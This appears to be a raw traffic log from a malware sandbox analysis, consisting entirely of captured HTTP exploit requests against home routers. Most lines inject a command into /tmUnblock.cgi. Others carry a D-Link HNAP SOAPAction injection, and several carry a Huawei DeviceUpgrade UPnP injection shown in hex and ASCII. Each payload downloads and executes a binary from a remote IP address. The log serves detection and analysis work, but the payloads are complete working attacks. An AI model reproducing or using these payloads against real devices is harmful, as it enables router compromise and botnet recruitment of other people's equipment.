Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
